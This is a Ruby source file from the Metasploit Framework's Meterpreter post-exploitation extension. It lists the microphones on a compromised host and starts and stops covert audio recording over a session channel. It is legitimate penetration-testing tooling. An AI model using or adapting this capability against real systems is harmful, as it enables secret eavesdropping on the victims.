Path: blob/master/lib/rex/post/meterpreter/extensions/stdapi/mic/mic.rb
19850 views
# -*- coding: binary -*-12require 'rex/post/meterpreter/channel'3require 'rex/post/meterpreter/channels/pools/stream_pool'45module Rex6module Post7module Meterpreter8module Extensions9module Stdapi10module Mic1112###13#14# This meterpreter extension can list and capture from microphone15#16###17class Mic18def initialize(client)19@client = client20end2122def session23@client24end2526# List available microphones27def mic_list28response = client.send_request(Packet.create_request(COMMAND_ID_STDAPI_AUDIO_MIC_LIST))29names = []30if response.result == 031response.get_tlvs(TLV_TYPE_AUDIO_INTERFACE_NAME).each do |tlv|32names << tlv.value33end34end35names36end3738# Starts recording audio from microphone39def mic_start(device_id)40request = Packet.create_request(COMMAND_ID_STDAPI_AUDIO_MIC_START)41request.add_tlv(TLV_TYPE_AUDIO_INTERFACE_ID, device_id)42response = client.send_request(request)43return nil unless response.result == 04445Channel.create(client, 'audio_mic', Rex::Post::Meterpreter::Channels::Pools::StreamPool, CHANNEL_FLAG_SYNCHRONOUS, response)46end4748# Stop recording from microphone49def mic_stop50client.send_request(Packet.create_request(COMMAND_ID_STDAPI_AUDIO_MIC_STOP))51true52end5354attr_accessor :client55end5657end58end59end60end61end62end636465